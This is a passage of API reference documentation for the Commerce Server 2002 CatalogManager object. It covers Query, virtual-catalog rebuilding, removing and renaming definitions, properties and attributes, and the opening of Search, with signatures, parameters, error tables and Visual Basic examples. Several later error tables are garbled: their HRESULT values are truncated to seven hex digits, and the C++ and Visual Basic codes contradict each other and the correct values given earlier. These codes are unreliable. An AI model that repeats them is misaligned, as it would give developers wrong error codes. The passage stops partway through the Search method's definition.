Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_CATMGR_ALREADY_INITIALIZED | [C++] 0x88980062 [Visual Basic] &H88980062 | The CatalogManager object has already been initialized. Each catalog manager object can be initialized only once.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid
E_CAT_INVALID_NUMFULLTEXT_CATALOGS | [C++] 0x889800E8 [Visual Basic] &H889800E8 | The number of fulltext catalogs to create should be between 0 and 256
E_CAT_CATALOGRESOURCE_INIT_FAILED | [C++] 0x88980030 [Visual Basic] &H88980030 | Unable to read the Product Catalog Resource from the site specified. Check that the Commerce.Adminhlpr component (Adminhlpr.dll) is registered, the site name is valid, and the site contains the Product Catalog Resource.
E_CAT_INVALID_CATALOG_SCHEMA | [C++] 0x889800D8 [Visual Basic] &H889800D8 | The Catalog Schema does not correspond to this version of Commerce Server 2002.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When the CatalogManager object has full text search enabled, creating or importing a product catalog will create a separate full text search-enabled catalog (index) until the number of indexes equals the value of the parameter lNumFullTextCatalogs. After the maximum number of indexes have been created, new product catalogs will share existing indexes. Each new product catalog will be assigned to whichever index is smallest at the time the product catalog is created.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.Initialize strConfigString, TRUE

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object


ICatalogManager3::Query Method [C++]

CatalogManager.Query Method [Visual Basic]

Use this method to perform queries against product, variant, and category data in one or more catalogs. This method is included for backward compatibility only since it does not support Commerce Server 2002 features such as multi-language catalogs. The recommended method for enabling the Query method functionality is the Search method.

Definition

[C++]
HRESULT ICatalogManager3::Query(
  BSTR strPhrase,
  VARIANT strCatalogsToSearch,
  VARIANT eClassTypeRequired,
  VARIANT strPropertiesToReturn,
  VARIANT strPropertyToSortOn,
  VARIANT_BOOL fSortAscending,
  VARIANT lStartingRecord,
  VARIANT lRecordsToRetrieve,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** ppRSResult
);
[Visual Basic]
Function Query(
  strPhrase As String,
  Optional strCatalogsToSearch As Variant,
  Optional eClassTypeRequired As Variant,
  Optional strPropertiesToReturn As Variant,
  Optional strPropertyToSortOn As Variant,
  Optional fSortAscending As Boolean,
  Optional lStartingRecord As Variant,
  Optional lRecordsToRetrieve As Variant,
  Optional plTotalRecordsInQuery As Variant
) As _Recordset

Parameters

strPhrase [C++]
[in] A BSTR that contains the search phrase.
strPhrase [Visual Basic]
A String that contains the search phrase.
strCatalogsToSearch [C++]
[in, optional] A VARIANT that contains the catalogs to search as a comma-separated list. An empty string indicates search all catalogs.
strCatalogsToSearch [Visual Basic]
A Variant that contains the catalogs to search as a comma-separated list. An empty string indicates search all catalogs.
eClassTypeRequired [C++]
[in, optional] A Variant that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
eClassTypeRequired [Visual Basic]
A Variant that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
strPropertiesToReturn [C++]
[in, optional] A VARIANT that contains the properties to return as a comma-separated list.
strPropertiesToReturn [Visual Basic]
A Variant that contains the properties to return as a comma-separated list.
strPropertyToSortOn [C++]
[in, optional] A VARIANT that contains the property on which to sort. This must be a property in the returned recordset.
strPropertyToSortOn [Visual Basic]
A Variant that contains the property on which to sort. This must be a property in the returned recordset.
fSortAscending [C++]
[in, defaultvalue (-1)] A VARIANT_BOOL that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order.
fSortAscending [Visual Basic]
A Boolean that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord [C++]
[in, optional] A VARIANT that contains the starting record to retrieve. A value of one (1) indicates the first record.
lStartingRecord [Visual Basic]
A Variant that contains the starting record to retrieve. A value of one (1) indicates the first record.
lRecordsToRetrieve [C++]
[in, optional] A VARIANT that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
lRecordsToRetrieve [Visual Basic]
A Variant that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
plTotalRecordsInQuery [C++]
[out, optional] A pointer to a VARIANT used to return the total number of records matching the query.
plTotalRecordsInQuery [Visual Basic]
A Variant used to return the total number of records matching the query.
ppRSResult [C++]
[out, retval] A pointer to a _Recordset object used to return the search results.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object containing the search results.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_RETURN_PROPS | [C++] 0x8898011D [Visual Basic] &H8898011D | The properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_SORT_PROPS | [C++] 0x8898011E [Visual Basic] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
S_FALSE | 1 | Query failed. The recordset is now NULL.
E_CAT_MULTI_CAT_QUERY_NEEDS_PROPS | [C++] 0x8898000F [Visual Basic] &H8898000F | When performing a query against multiple catalogs, you should specify the actual properties to return.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The plTotalRecordsInQuery and ppRSResult parameters contain valid data only if the method completes successfully.

[Visual Basic] The returned Recordset object and the plTotalRecordsInQuery parameter contain valid data only if the method completes successfully.

The Query method is used to perform arbitrary queries against product, product-variant, and category data in one or more catalogs. The strPhrase parameter is very similar to the ADO recordset Filter property. Simple queries should follow the key-operator-value convention (for example, length < 100). Queries whose value is a String data type should enclose that value in single quotes (for example, color = 'Blue'); additionally, if the string value contains unicode characters then it should be preceded with an N (for example, color = N'blue').

More sophisticated queries can be constructed by using the AND and OR operators to group multiple clauses, such as (level > 10) OR (Name = 'Bob' AND Title='CPA').

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
CscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

The CatalogClassTypeEnum values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

The search results for multilingual catalogs will be returned in a single language. The language will be selected differently depending on the number of catalogs specified in the strCatalogsToSearch parameter. If a single catalog is specified, the results will be returned in the default language of the catalog. If multiple catalogs are specified, the results will be returned in the default system language of the Web server. If a catalog does not support the selected language only language insensitive properties will be returned for that catalog.

Use the Search method to specify the search language or for doing a free-text search and a query simultaneously.

The programming rules regarding the strPropertiesToReturn parameter vary depending if a single catalog name is passed in the strCatalogsToSearch parameter, or if multiple catalog names are passed. When a single catalog name is passed, the strPropertiesToReturn parameter is optional and defaults to all properties. When multiple catalog names are passed, the strPropertiesToReturn parameter is required.

If no value is specified for the strPropertiesToReturn parameter the method returns all fields in the specified catalog, otherwise it returns only the fields specified in the strPropertiesToReturn parameter. When specifying properties to return, or when specifying the strPropertyToSortOn parameter, enclose the field names in square brackets to avoid unintentional side effects in the SQL query created by this method. For example, use "[Property1], [Property2]" to specify two properties.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'plTotalRecordsInQuery is an existing Long.
'Examine it after the method returns to see if
'there are more records to get.
Set rsQueryResults = myCatalogManager.Query("[Productid]='blue suede'", "ShoeCatalog", cscProductClass,"Price, SKU, Size", "SKU", TRUE, 1, 25, plTotalRecordsInQuery)

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::FreeTextSearch

[Visual Basic] CatalogManager.FreeTextSearch


ICatalogManager3::RebuildAllVirtualCatalogs Method [C++]

CatalogManager.RebuildAllVirtualCatalogs Method [Visual Basic]

Use this method to rebuild all the virtual catalogs in the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::RebuildAllVirtualCatalogs(
  VARIANT_BOOL fRunSynchronously,
  VARIANT_BOOL fForceRebuild
);
[Visual Basic]
Sub RebuildAllVirtualCatalogs(
  Optional fRunSynchronously As Boolean,
  Optional fForceRebuild As Boolean
)

Parameters

fRunSynchronously [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether to run the method synchronously. A value of True indicates that the method should be run synchronously. A value of False indicates that the method should be run asynchronously.
fRunSynchronously [Visual Basic]
A Boolean that specifies whether to run the method synchronously. A value of True indicates that the method should be run synchronously. A value of False indicates that the method should be run asynchronously. The default value is False.
fForceRebuild [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether to force a rebuild. A value of True indicates that all catalogs will be rebuild. A value of False indicates that only dirty catalogs will be rebuilt.
fForceRebuild [Visual Basic]
A Boolean that specifies whether to force a rebuild. A value of True indicates that all catalogs will be rebuild. A value of False indicates that only dirty catalogs will be rebuilt. The default value is False.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.

Remarks

Virtual catalogs will only be rebuilt if there has been a rule change, a product deletion, or a category deletion that would affect the contents of the catalog unless the fForceRebuild parameter is set to True.

[C++] If you want to rebuild a specific virtual catalog or the virtual catalogs that are dependant on a specific base catalog use IProductCatalog3::RebuildVirtualCatalog.

[Visual Basic] If you want to rebuild a specific virtual catalog or the virtual catalogs that are dependant on a specific base catalog use ProductCatalog.RebuildVirtualCatalog.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.RebuildAllVirtualCatalogs

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] IProductCatalog3::RebuildVirtualCatalog

[Visual Basic] ProductCatalog.RebuildVirtualCatalog


ICatalogManager3::RemoveCatalogAttribute Method [C++]

CatalogManager.RemoveCatalogAttribute Method [Visual Basic]

Use this method to remove a user-defined catalog attribute from the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::RemoveCatalogAttribute(
  BSTR strAttributeName
);
[Visual Basic]
Sub RemoveCatalogAttribute(
  strAttributeName As String
)

Parameters

strAttributeName [C++]
[in] A BSTR that contains the name of the attribute to be removed.
strAttributeName [Visual Basic]
A String that contains the name of the attribute to be removed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_ATTRIBUTE | [C++] 0x88980117 [Visual Basic] &H88980117 | The attribute name you specified is invalid. Attribute names cannot be blank and cannot exceed 36 characters. Attribute names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_BUILTIN_CATALOG_ATTRIBUTE | [C++] 0x889800B0 [Visual Basic] &H889800B0 | The catalog attribute that you specified is a built in catalog attribute and hence cannot be added or removed.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A2 [Visual Basic] &H889800A2 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_CATALOG_ATTR _DOES_NOT_EXIST | [C++] 0x88980112 [Visual Basic] &H88980112 | The catalog attribute that you specified does not exist.

Remarks

If the attribute specified in the strAttributeName parameter does not exist, the method will complete successfully and return S_OK.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.RemoveCatalogAttribute("Color")

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object


ICatalogManager3::RemoveDefinitionProperty Method [C++]

CatalogManager.RemoveDefinitionProperty Method [Visual Basic]

Use this method to remove the specified property or variant property from the specified definition.

Definition

[C++]
HRESULT ICatalogManager3::RemoveDefinitionProperty(
  BSTR strDefinitionName,
  BSTR strPropertyName
);
[Visual Basic]
Sub RemoveDefinitionProperty(
  strDefinitionName As String,
  strPropertyName As String
)

Parameters

strDefinitionName [C++]
[in] A BSTR that contains the name of the definition for which the specified property will be removed.
strDefinitionName [Visual Basic]
A String that contains the name of the definition for which the specified property will be removed.
strPropertyName [C++]
[in] A BSTR that contains the name of the property to be removed.
strPropertyName [Visual Basic]
A String that contains the name of the property to be removed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800E [Visual Basic] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A [Visual Basic] &H8898002 | The property name you specified is invalid. Property Names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_DEFINITION_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H889800B | The definition you specified does not exist.
E_CAT_PROP_NOT_IN_DEFINITION | [C++] 0x8898000 [Visual Basic] &H889800E | The property you specified is not part of that definition.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When you remove a property from a definition, it is also removed from any products, product-variants, or categories created from that definition.

Caution

  • Use caution when using this method. In most cases, calling this method results in the deletion of data.
  • Removing the last variant property in a product family definition will convert it to a product definition and will remove all existing product variants based on this definition.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.RemoveDefinitionProperty "T-Shirts", "Color"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::AddDefinitionProperty

[Visual Basic] CatalogManager.AddDefinitionProperty

[C++] ICatalogManager3::AddDefinitionVariantProperty

[Visual Basic] CatalogManager.AddDefinitionVariantProperty

[C++] ICatalogManager3::GetDefinitionProperties

[Visual Basic] CatalogManager.GetDefinitionProperties


ICatalogManager3::RemovePropertyAttribute Method [C++]

CatalogManager.RemovePropertyAttribute Method [Visual Basic]

Use this method to remove a custom property attribute from the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::RemovePropertyAttribute(
  BSTR strAttrName
);
[Visual Basic]
Sub RemovePropertyAttribute(
  strAttrName As String
)

Parameters

strAttrName [C++]
[in]A BSTR that contains the name of the attribute to be removed.
strAttrName [Visual Basic]
A String that contains the name of the attribute to be removed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_ATTRIBUTE | [C++] 0x88980117 [Visual Basic] &H88980117 | The attribute name you specified is invalid. Attribute names cannot be blank and cannot exceed 36 characters. Attribute names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_DATATYPE | [C++] 0x88980074 [Visual Basic] &H88980074 | The datatype you specified is invalid
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_COLUMN_LENGTH | [C++] 0x88980040 [Visual Basic] &H88980040 | The length specified for this property is not between 1 and 4000.
E_CAT_BUILTIN_ATTRIBUTE | [C++] 0x889800A7 [Visual Basic] &H889800A7 | The property attribute that you specified is a built in attribute and hence cannot be added or removed from the catalog system.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A2 [Visual Basic] &H889800A2 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_ATTRIBUTE_DOES_NOT_EXIST | [C++] 0x88980111 [Visual Basic] &H88980111 | The property attribute that you specified does not exist

Remarks

Only custom attributes may be removed.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.RemovePropertyAttribute("DisplayType")

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object


ICatalogManager3::RemovePropertyValue Method [C++]

CatalogManager.RemovePropertyValue Method [Visual Basic]

Use this method to remove a defined value from an enumeration property.

Definition

[C++]
HRESULT ICatalogManager3::RemovePropertyValue(
  BSTR strPropertyName,
  BSTR strLegalValue,
  BSTR strLang
);
[Visual Basic]
Sub RemovePropertyValue(
  strPropertyName As String,
  strLegalValue As String,
  Optional strLang As String
)

Parameters

strPropertyName [C++]
[in] A BSTR that contains the name of the enumeration property from which the specified value will be removed.
strPropertyName [Visual Basic]
A String that contains the name of the enumeration property from which the specified value will be removed.
strLegalValue [C++]
[in] A BSTR that contains the defined value to be removed as a choice from the specified enumeration property.
strLegalValue [Visual Basic]
A String that contains the defined value to be removed as a choice from the specified enumeration property.
strLang [C++]
[in, optional] A BSTR that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
strLang [Visual Basic]
A String that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A [Visual Basic] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_PARAMETER | [C++] 0x889800B [Visual Basic] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_ENUMERATED_VALUE | [C++] 0x889800E [Visual Basic] &H8898009 | The value you specified for the enumerated property exceeds 128 characters
E_CAT_PROP_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_NOT_ENUM | [C++] 0x8898000 [Visual Basic] &H8898007 | The property you specified is not the "cscEnumeration" data-type. This operation can only be performed on these types of Properties.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When a value is removed from an enumeration type property all products that have that property set to that value will have the value changed to NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.RemovePropertyValue "Color", "blue_in_fr", "fr"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::AddPropertyValue

[Visual Basic] CatalogManager.AddPropertyValue

[C++] ICatalogManager3::GetPropertyValues

[Visual Basic] CatalogManager.GetPropertyValues

[C++] Table of Language Culture Names, Codes, and ISO Values

[Visual Basic] Table of Language Culture Names, Codes, and ISO Values


ICatalogManager3::RenameDefinition Method [C++]

CatalogManager.RenameDefinition Method [Visual Basic]

Use this method to rename a definition.

Definition

[C++]
HRESULT ICatalogManager3::RenameDefinition(
  BSTR strOldName,
  BSTR strNewName
);
[Visual Basic]
Sub RenameDefinition(
  strOldName As String,
  strNewName As String
)

Parameters

strOldName [C++]
[in] A BSTR that contains the existing name of the definition.
strOldName [Visual Basic]
A String that contains the existing name of the definition.
strNewName [C++]
[in] A BSTR that contains the new name for the definition.
strNewName [Visual Basic]
A String that contains the new name for the definition.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800E [Visual Basic] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_EXISTS | [C++] 0x8898000 [Visual Basic] &H889800A | The Definition you specified already exists.
E_CAT_DEFINITION_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H889800B | The Definition you specified does not exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method affects every product and category using the definition.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.RenameDefinition "T-Shirts", "Tee-Shirts"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::RenameProperty

[Visual Basic] CatalogManager.RenameProperty


ICatalogManager3::RenameProperty Method [C++]

CatalogManager.RenameProperty Method [Visual Basic]

Use this method to rename a property.

Definition

[C++]
HRESULT ICatalogManager3::RenameProperty(
  BSTR strOldPropertyName,
  BSTR strNewPropertyName
);
[Visual Basic]
Sub RenameProperty(
  strOldPropertyName As String,
  strNewPropertyName As String
)

Parameters

strOldPropertyName [C++]
[in] A BSTR that contains the existing name of the property.
strOldPropertyName [Visual Basic]
A String that contains the existing name of the property.
strNewPropertyName [C++]
[in] A BSTR that contains the new name for the property. This parameter cannot begin with a digit, or contain a period (.); it can only contain characters that are acceptable in XML tags.
strNewPropertyName [Visual Basic]
A String that contains the new name for the property. This parameter cannot begin with a digit, or contain a period (.); it can only contain characters that are acceptable in XML tags.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A [Visual Basic] &H8898002 | The PropertyName you specified is invalid. property Names cannot be blank and cannot exceed 100 characters. property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_PROP_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_EXISTS | [C++] 0x8898000 [Visual Basic] &H8898003 | The property name you specified already exists.
E_CAT_PROP_IS_ID | [C++] 0x8898001 [Visual Basic] &H8898001 | The property is currently being used as either the Product or Product-Variant unique ID column in one or more Catalogs. All Catalogs using this property as its unique ID must be deleted before this property can be deleted.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.RenameProperty "Weight", "Wt."

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::RenameDefinition

[Visual Basic] CatalogManager.RenameDefinition


ICatalogManager3::Search [C++]

CatalogManager.Search [Visual Basic]

Use this method to perform searches against product, variant, and category data in one or more catalogs. This method combines the abilities of the Query and FreeTextSearch methods while adding the ability to specify the language of the returned data.

Definition

[C++]
HRESULT ICatalogManager3::Search(
  VARIANT strSQLClause,
  VARIANT strFTSPhrase,
  VARIANT strCatalogsToSearch,
  VARIANT eClassTypeRequired,
  VARIANT strPropertiesToReturn,
  VARIANT strPropertyToSortOn,
  VARIANT_BOOL fSortAscending,
  VARIANT lStartingRecord,
  VARIANT lRecordsToRetrieve,
  VARIANT varLanguage,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** ppRSResult
);
[Visual Basic]
Function Search(
  Optional strSQLClause As Variant,
  Optional strFTSPhrase As Variant,
  Optional strCatalogsToSearch As Variant,
  Optional eClassTypeRequired As Variant,
